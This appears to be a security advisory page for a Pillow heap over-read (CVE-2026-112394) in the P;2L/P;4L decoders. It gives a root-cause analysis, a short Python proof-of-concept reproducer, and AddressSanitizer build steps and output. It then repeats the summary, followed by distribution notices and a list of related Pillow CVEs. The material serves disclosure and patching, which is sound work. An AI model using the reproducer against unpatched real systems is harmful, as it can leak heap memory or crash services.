CVE-2026-112394

Summary

On main, even with the guard in #9725, it's possible to have these decoders read 1 to 3 bytes past the end of the passed buffer with a suitable width/height.

Details

ImagingRawDecode and the P;2L / P;4L unpackers disagree about how many bytes a line of data occupies.

The raw decoder derives the line size from the bits per pixel

state->bytes = (state->xsize * state->bits + 7) / 8;

and uses it both for the bounds check and to advance to the next line. For P;2L and P;4L, bits is 2 and 4 respectively.

But these two rawmodes are not packed pixels but 2 or 4 bit planes, each padded to a whole number of bytes. unpackP2L computes s = (pixels + 7) / 8 and reads plane k at offset k * s, and unpackP4L does the same across four planes. Their real footprint is therefore planes * ((xsize + 7) / 8).

For some widths, padding each plane separately makes this footprint larger than state->bytes. For example, at width 1, the decoder accounts for one byte, while the unpackers read two or four bytes. The decoder accepts data that is too short for the last line and on the other hand advances to subsequent lines by less than a line, so every line after the first is also read from the wrong offset.

#9725's check is misshapen for this:

• It can reject data of the right length: 8x1 P;2L image is 2 bytes but is not accepted.
• It still accepts buffers shorter than the unpackers require for a given image shape.
• It measures the length with len(data), which is an element count rather than a byte count; e.g. memoryview(array("I", [0,0,0,0,0])) (20 bytes) is rejected while mv.tobytes() is accepted.

PoC ( ghsa_p2l_p4l.py)

from array import array
from PIL import Image

# 1 byte past
Image.frombytes("P", (1, 4), array("B", [0] * 4), "raw", "P;2L")

# 3 bytes past
Image.frombytes("P", (1, 8), array("B", [0] * 8), "raw", "P;4L")

is the almost-simplest reproducer.

(array is needed to get ASan to reliably scream, but the overread is observable with e.g. bytes literals. Python allocates byteses with an extra trailing null byte, from an arena by default to boot, so ASan doesn't see the overread.)

On my Mac, I can get ASan to scream about this with

export asan=$(clang -print-file-name=libclang_rt.asan_osx_dynamic.dylib)
env CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" LDFLAGS="-fsanitize=address" uv pip install -e .
env DYLD_INSERT_LIBRARIES=$asan PYTHONMALLOC=malloc ASAN_OPTIONS=detect_leaks=0 python3 ghsa_p2l_p4l.py

like so:

<details>

python3(29144,0x202fea2c0) malloc: nano zone abandoned due to inability to reserve vm space.
unpackP2L: in=0x602000037370 i=0 j=0 pixels=1 reads 0x602000037370 0x602000037371
unpackP2L: in=0x602000037371 i=0 j=0 pixels=1 reads 0x602000037371 0x602000037372
unpackP2L: in=0x602000037372 i=0 j=0 pixels=1 reads 0x602000037372 0x602000037373
unpackP2L: in=0x602000037373 i=0 j=0 pixels=1 reads 0x602000037373 0x602000037374
=================================================================
==29144==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000037374 at pc 0x00010778c684 bp 0x00016d029f40 sp 0x00016d029f38
READ of size 1 at 0x602000037374 thread T0
    #0 0x00010778c680 in unpackP2L+0x17c (_imaging.cpython-314-darwin.so:arm64+0xb4680)
    #1 0x000107765360 in ImagingRawDecode+0x348 (_imaging.cpython-314-darwin.so:arm64+0x8d360)
    #2 0x0001076f259c in _decode+0x15c (_imaging.cpython-314-darwin.so:arm64+0x1a59c)
    #3 0x0001030d921c in method_vectorcall_VARARGS.llvm.8905850704545875072+0x84 (python3.14:arm64+0x10030521c)
    #4 0x000102e585b8 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x13c (python3.14:arm64+0x1000845b8)
    #5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c)
    #6 0x000102f31864 in PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864)
    #7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14)
    #8 0x000103063eb0…

Pillow is a Python imaging library. Prior to 13.0.0, Pillow's P;2L and P;4L raw decoders can read past the end of an input buffer. ImagingRawDecode calculates a packed-pixel row size, while the unpackers read separately padded bit planes. A caller can supply a buffer and image dimensions whose accepted size is smaller than the unpacker's actual footprint. This can disclose up to three adjacent heap bytes in output pixels or crash the process. This issue is fixed in version 13.0.0.

Pillow is a Python imaging library. Prior to 13.0.0, Pillow's P;2L and P;4L raw decoders can read past the end of an input buffer. ImagingRawDecode calculates a packed-pixel row size, while the unpackers read separately padded bit planes. A caller can supply a buffer and image dimensions whose accepted size is smaller than the unpacker's actual footprint. This can disclose up to three adjacent heap bytes in output pixels or crash the process. This issue is fixed in version 13.0.0.

Pillow is a Python imaging library. Prior to 13.0.0, Pillow's P;2L and P;4L raw decoders can read past the end of an input buffer. ImagingRawDecode calculates a packed-pixel row size, while the unpackers read separately padded bit planes. A caller can supply a buffer and image dimensions whose accepted size is smaller than the unpacker's actual footprint. This can disclose up to three adjacent heap bytes in output pixels or crash the process. This issue is fixed in version 13.0.0.

TuxCare rebuilt pillow to address 9 CVEs. Fixed in 11.3.0.post11+tuxcare.

TuxCare rebuilt pillow to address 9 CVEs. Fixed in 11.2.1.post13+tuxcare.

TuxCare rebuilt pillow to address 8 CVEs. Fixed in 10.4.0.post15+tuxcare.

TuxCare rebuilt pillow to address 7 CVEs. Fixed in 9.5.0.post13+tuxcare.

These are all security issues fixed in the python313-Pillow-13.0.0-1.1 package on the GA media of openSUSE Tumbleweed.

This update for python-Pillow fixes the following issues:

• CVE-2026-96636: decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (bsc#1286802).
• CVE-2026-96637: decompression bomb check bypass in SpiderImagePlugin.seek() leads to unbounded allocation DoS (bsc#1286801).
• CVE-2026-96640: PDF append accepts malformed shared page-tree DAG, which can cause resource exhaustion (bsc#1286798).
• CVE-2026-96641: reachable undefined behavior in native integer operations can lead to denial of service or logic integrity compromise (bsc#1286797).
• CVE-2026-96642: TarIO negative size field causes infinite CPU-spin loop (bsc#1286796).
• CVE-2026-112390: Denial of Service via infinite loop during crafted MIC image parsing (bsc#1286256).
• CVE-2026-112391: Denial of Service via unbounded recursion in PDF parser (bsc#1286273).
• CVE-2026-112392: Denial of Service via zero-size images in rank filters (bsc#1286287).
• CVE-2026-112393: heap buffer overflow and stale-heap disclosure in _tiffWriteProc when saving compressed TIFF data (bsc#1286325).
• CVE-2026-112394: P;2L and P;4L decoders may read 1 to 3 bytes past the passed buffer size (bsc#1286311).
• CVE-2026-112397: out-of-bounds access in _imagingmorph on a zero-width image (bsc#1286314).
• CVE-2026-112398: heap buffer overflow in FPX JPEG decoding can lead to code execution (bsc#1286406).
• CVE-2026-112399: Denial of service via crafted APNG image (bsc#1286368).
• CVE-2026-112400: Denial of Service via memory exhaustion from crafted GIF image (bsc#1286370).
• CVE-2026-112401: Denial of Service via crafted GIF comments (bsc#1286372).
• CVE-2026-112402: Denial of service via double free during image transformation (bsc#1286381).
• CVE-2026-112403: heap buffer overflow in ImagingJpegDecode allows for code execution (bsc#1286405).
• CVE-2026-112405: NULL pointer dereference in Image.merge via an unvalidated band 0 (bsc#1286404).
• CVE-2026-112406: infinite loop in PdfParser.rewrite_pages on page tree Parent cycle (bsc#1286403).
• CVE-2026-112891: quadratic GIF comment copying during save (bsc#1286402).
• CVE-2026-112892: MSP RLE decoder expands a tiny file into unbounded memory (bsc#1286401).
• CVE-2026-112894: Denial of Service via crafted multi-frame image conversion (bsc#1286408).
• CVE-2026-112895: Denial of service via crafted PDF during append operations (bsc#1286411).
• CVE-2026-112896: TIFF encoder ColorMap plane-size mismatch causes a heap out-of-bounds read (bsc#1286400).
• CVE-2026-112897: TiffDecode returns uninitialized memory as pixels for short JPEG strips (bsc#1286398).
• CVE-2026-112899: EPS load(scale) lets Ghostscript render past the decompression bomb limit (bsc#1286489).
• CVE-2026-112900: argument Injection in Ghostscript call can lead to remote code execution (bsc#1286397).
• CVE-2026-112901: ReDoS in XbmImagePlugin can be triggered by 512-byte file (bsc#1286396).
• CVE-2026-112902: memory disclosure and segfault in libtiff encoder via crafted TIFF tags (bsc#1286804).